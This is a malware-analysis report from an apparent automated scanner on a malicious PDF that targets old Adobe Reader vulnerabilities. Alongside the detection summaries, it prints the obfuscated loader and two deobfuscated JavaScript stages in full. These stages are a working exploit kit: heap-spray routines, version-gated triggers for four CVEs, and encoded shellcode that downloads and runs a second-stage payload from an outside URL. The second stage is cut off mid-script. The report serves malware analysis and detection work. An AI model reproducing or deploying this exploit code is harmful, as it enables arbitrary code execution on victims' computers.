MALICIOUS
490
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF file contains embedded JavaScript that exploits several known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The exploit stage is designed to download and execute a secondary payload from the URL http://neutrinospeed.in/w.php?f=78&e=5. The use of multiple CVEs and JavaScript indicates a sophisticated exploit kit aimed at initial client execution.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 12
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://neutrinospeed.in/w.php?f=78&e=5 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0076_000.js |
pdf-javascript-stream | PDF /JS object 76 at offset 0x383 | 11719 bytes |
SHA-256: 1f733b24ef86c2c30ac19f2b1d87b3b26a8ca8077fba54bc5d7bccdfa6d137fb |
|||
Preview scriptFirst 1,000 lines of the extracted script
w='';
w+='sl';
w+='i';
w+="ce";
j='gerb43bt';
j=j[w];
z
=
new
Array(32,47,6,39,58,25,23,52,11,69,46,56,15,53,42,42,46,56,68,10,66,45,46,56,15,41,68,10,46,56,9,41,66,45,46,56,66,19,53,45,46,56,53,53,41,68,46,56,42,45,10,36,46,56,45,36,15,58,46,56,15,58,53,36,46,56,36,10,45,36,46,56,9,36,15,58,46,56,41,42,38,10,46,56,9,42,15,58,46,56,53,53,36,15,46,56,42,42,1,58,46,56,41,66,15,58,46,56,36,53,53,10,46,56,53,53,9,45,46,56,15,38,14,10,46,56,38,41,66,66,46,56,68,68,38,36,46,56,58,15,68,68,46,56,45,36,15,58,46,56,10,53,53,36,46,56,53,19,45,42,46,56,9,41,36,42,46,56,15,9,68,58,46,56,14,45,53,45,46,56,66,45,15,41,46,56,41,38,9,41,46,56,66,58,66,19,46,56,41,38,45,10,46,56,15,58,41,42,46,56,53,10,9,41,46,56,9,45,15,58,46,56,9,15,53,41,46,56,68,41,36,53,46,56,15,58,41,42,46,56,14,36,9,42,46,56,68,41,36,53,46,56,10,19,53,53,46,56,45,38,45,19,46,56,47,1,68,10,46,56,10,41,36,53,46,56,1,58,53,53,46,56,58,66,36,68,46,56,53,15,38,36,46,56,9,45,68,14,46,56,10,38,36,15,46,56,36,1,10,58,46,56,1,47,36,53,46,56,66,58,45,36,46,56,53,58,68,38,46,56,9,41,38,68,46,56,41,66,66,42,46,56,41,66,15,58,46,56,36,53,14,45,46,56,42,42,1,1,46,56,36,10,15,58,46,56,15,1,45,58,46,56,66,10,45,42,46,56,41,45,68,68,46,56,36,10,14,45,46,56,1,15,15,58,46,56,1,1,36,53,46,56,36,45,15,58,46,56,36,53,15,58,46,56,47,58,10,41,46,56,41,19,41,66,46,56,66,58,10,53,46,56,47,1,41,53,46,56,42,15,15,58,46,56,15,36,14,36,46,56,36,10,9,1,46,56,9,45,53,53,46,56,19,42,36,53,46,56,68,53,66,58,46,56,42,15,15,58,46,56,15,58,36,15,46,56,42,47,68,9,46,56,41,19,36,41,46,56,19,15,66,15,46,56,68,68,68,68,46,56,66,14,68,68,46,56,66,15,68,19,46,56,36,36,36,36,46,56,36,36,36,36,46,56,41,36,41,15,46,56,45,36,42,47,46,56,68,68,42,15,46,56,36,36,36,36,46,56,41,36,36,36,46,56,10,36,15,53,46,56,41,36,38,19,46,56,15,58,41,41,46,56,15,58,66,10,46,56,38,36,41,66,46,56,10,53,15,53,46,56,68,68,36,41,46,56,42,15,66,53,46,56,42,66,42,68,46,56,36,36,36,36,46,56,9,41,42,15,46,56,42,10,9,14,46,56,41,45,42,1,46,56,38,42,68,68,46,56,10,45,15,53,46,56,15,58,36,15,46,56,66,15,66,15,46,56,68,68,42,38,46,56,68,68,68,68,46,56,36,14,66,58,46,56,9,14,66,58,46,56,66,10,15,38,46,56,36,38,36,45,46,56,36,36,36,36,46,56,41,10,15,1,46,56,36,10,14,45,46,56,36,45,10,9,46,56,9,14,14,45,46,56,42,9,42,41,46,56,10,9,9,53,46,56,14,45,45,45,46,56,9,42,36,45,46,56,53,53,9,14,46,56,10,9,53,14,46,56,14,45,45,45,46,56,14,36,36,15,46,56,9,53,14,1,46,56,41,53,14,36,46,56,68,15,42,15,46,56,36,36,36,36,46,56,68,68,36,36,46,56,36,10,41,42,46,56,66,15,15,58,46,56,10,19,53,53,46,56,10,9,41,38,46,56,38,1,45,45,46,56,9,9,36,36,46,56,42,14,9,36,46,56,10,9,9,45,46,56,38,1,45,45,46,56,14,66,36,41,46,56,42,10,42,45,46,56,10,42,42,10,46,56,38,1,45,45,46,56,36,36,36,19,46,56,15,47,41,19,46,56,36,45,10,38,46,56,15,15,53,36,46,56,38,1,45,45,46,56,45,38,36,45,46,56,42,47,41,38,46,56,42,47,36,36,46,56,41,53,36,36,46,56,42,47,41,9,46,56,68,68,36,36,46,56,38,45,41,42,46,56,10,36,15,41,46,56,38,42,9,41,46,56,36,36,42,47,46,56,68,68,41,53,46,56,36,45,41,42,46,56,36,36,42,47,46,56,66,58,15,53,46,56,41,53,36,10,46,56,41,42,68,68,46,56,15,53,36,45,46,56,36,10,10,53,46,56,36,14,66,58,46,56,38,53,66,58,46,56,15,36,45,9,46,56,36,36,53,68,46,56,68,47,9,41,46,56,15,36,45,9,46,56,36,36,53,68,46,56,10,45,9,41,46,56,36,36,42,47,46,56,68,66,42,47,46,56,41,42,68,68,46,56,66,15,36,15,46,56,68,66,19,10,46,56,68,68,68,68,46,56,45,66,15,66,46,56,66,10,36,66,46,56,68,66,19,15,46,56,36,66,15,47,46,56,42,68,15,19,46,56,58,1,36,38,46,56,10,47,53,53,46,56,41,58,15,47,46,56,10,42,38,58,46,56,9,19,45,42,46,56,38,47,53,42,46,56,9,36,14,68,46,56,9,45,42,15,46,56,9,36,9,45,46,56,14,68,53,47,46,56,42,66,14,68,46,56,9,41,42,41,46,56,9,14,9,45,46,56,42,66,42,19,46,56,9,53,42,68,46,56,42,41,9,36,46,56,42,45,42,41,46,56,42,19,14,66,46,56,14,68,42,66,46,56,14,66,9,9,46,56,42,15,9,36,46,56,53,68,9,36,46,56,53,1,42,42,46,56,53,15,53,9,46,56,42,41,14,42,46,56,53,41,53,1,46,56,36,36,36,36,69,29,68,56,18,10,13,40,35,18,39,66,26,32,6,59,6,47,22,12,67,0,48,21,62,40,57,66,59,6,47,16,57,66,18,52,13,62,50,14,55,12,67,0,48,6,47,4,11,6,47,29,5,6,47,11,6,47,16,23,56,58,23,13,6,40,18,52,59,36,22,12,67,27,14,0,29,6,66,13,56,6,18,39,6,47,29,5,39,68,56,18,10,13,40,35,18,39,58,28,59,0,48,32,47,6,39,1,64,52,11,18,66,21,39,7,6,6,47,67,59,0,29,32,47,6,39,32,21,11,36,28,36,10,36,10,36,10,36,10,29,32,47,6,39,47,1,1,6,11,36,28,45,36,36,36,36,36,29,32,47,6,39,43,47,67,57,35,47,1,11,56,18,66,23,10,47,43,66,59,58,25,23,52,0,29,32,47,6,39,23,10,34,57,66,18,11,43,47,67,57,35,47,1,16,57,66,18,52,13,62,50,14,29,32,47,6,39,12,67,11,47,1,1,6,75,59,23,10,34,57,66,18,4,36,28,53,15,0,29,32,47,6,39,67,47,6,23,43,11,56,18,66,23,10,47,43,66,59,72,46,56,19,36,19,36,46,56,19,36,19,36,72,0,29,67,47,6,23,43,11,66,26,32,6,59,67,47,6,23,43,22,12,67,0,29,32,47,6,39,10,35,56,18,13,14,11,59,32,21,75,36,28,45,36,36,36,36,36,0,27,47,1,1,6,29,68,35,6,59,32,47,6,39,10,35,56,18,13,11,36,29,10,35,56,18,13,55,10,35,56,18,13,14,29,10,35,56,18,13,4,4,0,48,1,64,52,71,10,35,56,18,13,74,11,67,47,6,23,43,4,43,47,67,57,35,47,1,29,5,39,32,47,6,39,35,32,66,6,68,57,35,21,11,56,18,66,23,10,47,43,66,59,72,46,56,36,10,36,10,46,56,36,10,36,10,72,0,29,21,62,40,57,66,59,35,32,66,6,68,57,35,21,16,57,66,18,52,13,62,55,45,45,19,41,14,0,48,35,32,66,6,68,57,35,21,4,11,35,32,66,6,68,57,35,21,29,5,39,13,62,40,23,16,10,35,57,57,47,58,33,13,35,6,66,11,3,35,57,57,47,58,16,10,35,57,57,66,10,13,61,44,47,40,57,65,18,68,35,59,48,23,56,58,25,20,72,72,22,44,23,52,20,35,32,66,6,68,57,35,21,5,0,29,5,39,68,56,18,10,13,40,35,18,39,43,6,40,18,13,68,59,0,48,18,35,43,11,56,18,66,23,10,47,43,66,59,72,46,56,36,7,36,7,46,56,36,7,36,7,46,56,36,7,36,7,46,56,36,7,36,7,72,0,29,32,47,6,39,43,47,67,57,35,47,1,11,56,18,66,23,10,47,43,66,59,58,25,23,52,0,29,62,66,47,43,58,57,35,10,64,11,18,35,43,4,43,47,67,57,35,47,1,29,58,40,52,58,57,35,10,64,11,56,18,66,23,10,47,43,66,59,72,46,56,36,7,36,7,46,56,36,7,36,7,72,0,29,62,66,47,1,66,6,23,40,26,66,11,14,36,29,23,43,6,47,67,11,62,66,47,1,66,6,23,40,26,66,4,62,66,47,43,58,57,35,10,64,16,57,66,18,52,13,62,29,21,62,40,57,66,59,58,40,52,58,57,35,10,64,16,57,66,18,52,13,62,55,23,43,6,47,67,0,48,58,40,52,58,57,35,10,64,4,11,58,40,52,58,57,35,10,64,29,5,39,68,40,57,57,58,57,35,10,64,11,58,40,52,58,57,35,10,64,16,23,56,58,23,13,6,40,18,52,59,36,22,23,43,6,47,67,0,29,58,57,35,10,64,11,58,40,52,58,57,35,10,64,16,23,56,58,23,13,6,40,18,52,59,36,22,58,40,52,58,57,35,10,64,16,57,66,18,52,13,62,75,23,43,6,47,67,0,29,21,62,40,57,66,59,58,57,35,10,64,16,57,66,18,52,13,62,4,23,43,6,47,67,55,36,28,45,36,36,36,36,0,48,58,57,35,10,64,11,58,57,35,10,64,4,58,57,35,10,64,4,68,40,57,57,58,57,35,10,64,29,5,39,44,66,44,11,18,66,21,39,7,6,6,47,67,59,0,29,68,35,6,59,40,11,36,29,40,55,38,45,36,36,29,40,4,4,0,48,44,66,44,71,40,74,11,58,57,35,10,64,4,62,66,47,43,58,57,35,10,64,29,5,39,32,47,6,39,18,56,44,11,38,14,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,29,56,13,40,57,16,43,6,40,18,13,68,59,72,46,45,41,36,36,36,68,72,22,18,56,44,0,29,5,39,68,56,18,10,13,40,35,18,39,52,66,13,40,10,35,18,59,0,48,32,47,6,39,47,6,6,67,11,18,66,21,39,7,6,6,47,67,59,0,29,40,68,59,47,43,43,16,1,35,10,16,3,35,57,57,47,58,16,52,66,13,65,10,35,18,0,48,32,47,6,39,43,47,67,57,35,47,1,11,56,18,66,23,10,47,43,66,59,58,25,23,52,0,29,32,47,6,39,62,54,12,41,36,36,3,30,11,43,47,67,57,35,47,1,16,57,66,18,52,13,62,50,14,29,32,47,6,39,12,67,11,36,28,45,36,36,36,36,36,75,59,62,54,12,41,36,36,3,30,4,36,28,53,15,0,29,32,47,6,39,67,47,6,23,43,11,56,18,66,23,10,47,43,66,59,72,46,56,19,36,19,36,46,56,19,36,19,36,72,0,29,67,47,6,23,43,11,66,26,32,6,59,67,47,6,23,43,22,12,67,0,29,32,47,6,39,43,41,7,25,51,42,41,68,11,59,36,28,36,10,36,10,36,10,36,10,75,36,28,45,36,36,36,36,36,0,27,36,28,45,36,36,36,36,36,29,68,35,6,59,32,47,6,39,32,12,10,49,17,19,42,67,11,36,29,32,12,10,49,17,19,42,67,55,43,41,7,25,51,42,41,68,29,32,12,10,49,17,19,42,67,4,4,0,48,47,6,6,67,71,32,12,10,49,17,19,42,67,74,11,67,47,6,23,43,4,43,47,67,57,35,47,1,29,5,39,32,47,6,39,13,37,31,62,30,58,73,21,11,56,18,66,23,10,47,43,66,59,72,46,36,19,72,0,29,21,62,40,57,66,59,13,37,31,62,30,58,73,21,16,57,66,18,52,13,62,55,36,28,45,36,36,36,0,48,13,37,31,62,30,58,73,21,4,11,13,37,31,62,30,58,73,21,29,5,39,13,37,31,62,30,58,73,21,11,72,30,16,72,4,13,37,31,62,30,58,73,21,29,47,43,43,16,1,35,10,16,3,35,57,57,47,58,16,52,66,13,65,10,35,18,59,13,37,31,62,30,58,73,21,0,29,5,5,39,47,8,57,56,52,40,18,23,11,47,43,43,16,43,57,56,52,65,18,23,29,32,47,6,39,23,32,11,43,47,6,23,66,65,18,13,59,47,43,43,16,32,40,66,21,66,6,24,66,6,23,40,35,18,16,13,35,33,13,6,40,18,52,59,0,16,10,62,47,6,7,13,59,36,0,0,29,68,35,6,59,32,47,6,39,40,11,36,29,40,55,47,8,57,56,52,40,18,23,16,57,66,18,52,13,62,29,40,4,4,0,48,40,68,59,47,8,57,56,52,40,18,23,71,40,74,16,18,47,44,66,11,11,69,61,33,10,6,40,43,13,69,0,48,32,47,6,39,57,32,11,47,8,57,56,52,40,18,23,71,40,74,16,32,66,6,23,40,35,18,29,5,5,39,40,68,59,59,57,32,11,11,19,0,60,60,59,59,23,32,11,11,15,0,63,63,59,57,32,55,11,15,16,38,14,0,0,0,48,52,66,13,40,10,35,18,59,0,29,5,66,57,23,66,39,40,68,59,57,32,11,11,9,16,38,0,48,43,6,40,18,13,68,59,0,29,5,66,57,23,66,39,40,68,59,59,59,23,32,11,11,42,0,60,60,59,23,32,11,11,9,0,0,63,63,59,57,32,55,9,16,38,38,0,0,48,58,28,59,0,29,5,66,57,23,66,39,40,68,59,59,57,32,2,11,19,16,38,0,60,60,59,57,32,55,11,19,16,14,0,60,60,59,57,32,2,11,15,16,38,53,0,60,60,59,57,32,55,11,15,16,38,9,0,0,48,68,56,18,10,13,40,35,18,39,47,59,0,48,56,13,40,57,16,43,6,40,18,13,1,59,69,43,70,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,38,39,20,39,67,67,67,67,38,38,38,69,22,18,66,21,39,17,47,13,66,59,0,0,29,5,32,47,6,39,62,11,47,43,43,16,43,57,56,52,65,18,23,29,68,35,6,59,32,47,6,39,68,11,36,29,68,55,62,16,57,66,18,52,13,62,29,68,4,4,0,48,40,68,59,62,71,68,74,16,18,47,44,66,11,11,69,61,33,10,6,40,43,13,69,0,48,32,47,6,39,40,11,62,71,68,74,16,32,66,6,23,40,35,18,29,5,5,39,40,68,59,59,40,2,15,16,38,14,0,63,63,59,40,55,15,16,14,0,0,48,10,11,18,66,21,39,7,6,6,47,67,59,0,29,32,47,6,39,1,11,56,18,66,23,10,47,43,66,59,69,46,56,19,36,19,36,46,56,19,36,19,36,69,0,29,32,47,6,39,66,11,56,18,66,23,10,47,43,66,59,58,25,23,52,0,29,21,62,40,57,66,59,1,16,57,66,18,52,13,62,55,11,36,28,15,36,36,36,0,48,1,4,11,1,29,5,1,11,1,16,23,56,58,23,13,6,59,36,22,36,28,15,36,36,36,75,66,16,57,66,18,52,13,62,0,29,68,35,6,59,68,11,36,29,68,55,14,19,36,36,29,68,4,4,0,48,10,71,68,74,11,1,4,66,29,5,47,59,0,29,47,59,0,29,13,6,67,48,13,62,40,23,16,44,66,1,40,47,16,18,66,21,8,57,47,67,66,6,59,18,56,57,57,0,29,5,10,47,13,10,62,59,66,0,48,5,47,59,0,29,5,5);
a=")d>C+}rAP7c=qt28.Dn9:w,sVjz/x;NMvS_o0U1 i56pm4%a{Q*Kg3W<ulb(|Eh&kIeyf'@['G]-";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[
z[i]];
}
}}
"))";try{if(!google)throw 1;}catch(q){e(s);}
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x383 | 3858 bytes |
SHA-256: a1efc8250e4c31e04e5f86309c55cb565209822a7a548bfa0545181d186c39b9 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u6e2f%u7565%u7274%u6e69%u736f%u6570%u6465%u692e%u2f6e%u2e77%u6870%u3f70%u3d66%u3837%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 76 at offset 0x383 | 3854 bytes |
SHA-256: 025036c35ef0502225713b93ccb0581e64716f7c7d6b1b2dede879a27c1fe2a4 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u6e2f%u7565%u7274%u6e69%u736f%u6570%u6465%u692e%u2f6e%u2e77%u6870%u3f70%u3d66%u3837%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape(' ');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var 